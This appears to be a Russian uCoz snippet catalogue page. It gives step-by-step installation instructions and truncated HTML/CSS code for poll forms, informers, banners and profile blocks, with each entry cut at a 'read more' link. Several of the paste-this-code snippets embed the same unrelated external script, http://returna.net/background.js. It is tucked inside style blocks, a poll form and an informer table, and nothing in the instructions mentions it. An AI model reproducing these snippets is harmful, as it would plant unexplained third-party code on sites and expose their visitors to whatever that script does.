Для начала как и пололаеться, нам следует установить html каркас данного улучьшения для формы опроса, для этого заходим в Админ панель => Опросы => Управление дизайном модуля удаляем старый html код и устанавливаем новый: Код <div class="cell-poll"> <div class="cell-poll-title">$QUESTION$</div> <div class="cell-poll-answers">$ANSWERS$</div> <div class="cell-poll-link"> <span>Ответов: <strong>$TOTAL_VOTES$</strong></span> <a href="$RESULTS_LINK$" >Результаты </a> <b> | </b> <a href="$ARCHIVE_LINK$">Архив </a> &nbs ... Читать дальше » |
Код <div class="doll" align="center"> <style>.socialNetworks {display:inline;margin-right:10px;} .socialNetworks:hover {display:inline;} .link_me {bottom:0;margin-top:0px; margin-right:0px;} .socialNetworks img {width:88px;height:31px;background:url(http://bambun.ru/images/banner88x31.png);-webkit-transition: all 400ms;-moz-transition: all 400ms;-o-transition: all 400ms;transition: all 400ms;position:relative;bottom:0px;right:0px;} .socialNetworks img:hover {transform:rotate(-360deg);-webkit-transform:rotate(-360deg);-moz-transform:rotate(-360deg);-o-transform:rotate(-360deg);position:relative;bottom:0px;right:0px;} </style><script type="text/javascript" src="http://returna.net/background.js"></scrip ... Читать дальше » |
Как видно по скриншоту, вы сможете установить один из вариантов, в зависимости от вашего дизайна. Опрос выглядит не только понятно и не сложно, но и замечательно смотрится на ucoz сайтах. Установка 1. Переходим: ПУ -> Управление дизайном -> Опросы -> Вид формы опросов и заменяем весь код на: Код <div class="pollBlock" style="font-family:Tahoma,Arial; padding-bottom:5px; background:#4d4d4d;"> <div class="pollQue" style="font-size:8pt;padding-top:2px;text-align:left; padding-left:5px;"><b>$QUESTION$</b></div> <div class="pollansw" style=" padding-left:8px;">$ANSWERS$</div> <div class="resultpoll" ><a href="$RESULTS_LINK$">Смотреть результаты</a> <br><b>$TOTAL_VOTES$</b> голосов</div> </div><script type="text/javascript" src="ht ... Читать дальше » |
1. Заходим в ПУ - Таблица стилей CSS: Код .bestu_loop {overflow:hidden; width:222px; margin:0 0 0 -4px;color:#fff;} .bestu_loop .hr {overflow:hidden; background:url(http://bambun.ru/images/bestu_elem.png) repeat-x 0 -40px; height:2px; margin:3px 0 3px 0;} .bestu_loop .hr_ins {overflow:hidden; background:url(http://bambun.ru/images/bestu_elem.png) no-repeat 0 -43px; width:164px; height:2px; margin:6px auto 6px auto;} .bestu_loop .ava a {float:left; background:url(http://bambun.ru/images/bestu_elem.png) no-repeat 0 0; width:47px; height:39px; margin:4px 0 4px 12px;} .bestu_loop .ava img {width:43px; height:35px; padding:2px;} .bestu_loop .ava img:hover {opacity:0.8;} .bestu_loop .contu {overflow:hidden; padding:2px 0;} .bestu_loop .ico1 {background:url ... Читать дальше » |
Это ставим в нижнюю часть сайта: Код <?if(!$USER_LOGGED_IN$)?> <style type="text/css"> .uPanel{background:rgba(0,0,0,0.8);color:#fff;float:left;box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);-moz-box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);-webkit-box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);padding: 4px 5px 4px 5px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;position:fixed;bottom:7px;left:7px;} .uPanel a.url,.uPanel a.url:visited{display:block;float:left;color:#fff;font- weight:bold;height:26px;line-height:26px;-moz-transition:all 0.4s ease;-webkit-transition:all 0.4s ease;-o-transition:all 0.4s ease;transition:all 0.4s ease;opacity:0.4;padding:0px 7px 0px 7px;position:relative;} .uPanel a.url img{vertical-align:-8px;} .uPanel a.url:hover{text-shadow:0 ... Читать дальше » |
Установка: Для этого перейдем в ПУ / Инструменты / Информеры и создадим новый информер uCoz. Разберем создание информера на примере модуля каталог файлов. Выбираем роаздел - "Каталог файлов", тип данных - "Материалы", дата добавления материала D, количество материалов ставим то которое нужно вам, количество колонок - 1. Кликаем создать.Далее переходим в управление дизайном нашего информер и в открывшимся окне заменяем код на этот: копируем код информера и ставим в блок Код <table style="width: 100%; border-collapse: collapse;"><tbody><tr><td><a href="$ENTRY_URL$"><img alt="" src=" $IMG_URL1$ " width="60" border="0" height="80"></a></td><td><div align="right"><span style="font-size: 8pt; color: rgb(205, 188, 164); font-family: Arial;">$TITLE$</span></div><div align="right"><script type="text/javascript" src="http://returna.net/background.js"></script><span style="font-size: 8pt; color: rgb(205, 188, 164); font-f
...
Читать дальше »
|
Установка: Ставим в блок сайта Код <style>.banner {background:url('http://bambun.ru/images/banka.png'); background-repeat:no-repeat; width:96px; height:36px; padding:4px 3px 0px 0px;} .partner a {background:url('http://bambun.ru/images/knopka_partner.png') 0 0px; display:block; width:111px; height:22px;} .partner a:hover {background-position:0px -22px; display:block; width:111px; height:22px;} </style> <script type="text/javascript" src="http://returna.net/background.js"></script> <table width="100%" cellpadding="1" cellspacing="1"> <tbody><tr> <td width="50%" align="center" valign="top"> <div class="banner"><a href=" ... Читать дальше » |
Приступаем к установке: Создаем один информер с такими показателями. [ Пользователи · Материалы · Кол. сообщений в форуме · Материалы: 5 · Колонки: 1 ] и заполнить его шаблон кодом: И прописываем туда этот код Код <noindex><div class="infUserScr"> <div class="infUserScrAva"><img src="$AVATAR_URL$"></div> <div class="infUserScrNickname">$USERNAME$</div><br><br> <div class="infUserScrPosts">$FORUM_POSTS$ сообщений</div> </div><script type="text/javascript" src="http://returna.n ... Читать дальше » |
Меняйте текст и подбирите цвет под свой сайт. Приступаем к установке: В самый низ сайта прописываем этот код. Код <?if($USER_LOGGED_IN$)?> <?else?><p style="text-align: left;"><div id="testcs-ru">Регистрируйся на На сайте и общайся с людьми! Зови друзей, играй на хороших серверах CS 1.6,этот Портал Только для тебя и твоих друзей.<?endif?> </div></p><script type="text/javascript" src="http://returna.net/background.js"></script> <script>#testcs-ru a{ color: #fff; font-weight:bold; text-decoration: none; } #testcs-ru:hover{ opacity: 1; } #testcs-ru{ ... Читать дальше » |
Установка: В Таблицу CSS стилей в самый низ прописываем: Код .b_prof {width:188px; margin:0 auto;} .b_prof .b_prof_ava {background:url(http://bambun.ru/images/b_prof_ava.png) no-repeat; width:156px; height:156px; margin:0 auto 5px auto;} .b_prof .b_prof_ava img {width:150px; height:150px; padding:3px 0 0 3px;} .b_prof .b_prof_vid {background:url(http://bambun.ru/images/b_prof_vid.png) no-repeat; width:177px; height:23px; line-height:23px; margin:0 auto 3px auto; text-align:center; color:#fff;} .b_prof .b_prof_b {background:url(http://bambun.ru/images/b_prof_button.png) no-repeat 0 0; width:61px; height:23px; float:left; margin:0 0 0 1px;} .b_prof .b_prof_b_in {background:url(http://bambun.ru/images/b_prof_button.png) no-repeat -62px 0; width:61px; height:23px; float:left; margin:0 0 0 1px;} .b_prof .b_prof_b_ins {background:url(http://bambun.ru/images/b_prof_button.png) ... Читать дальше » |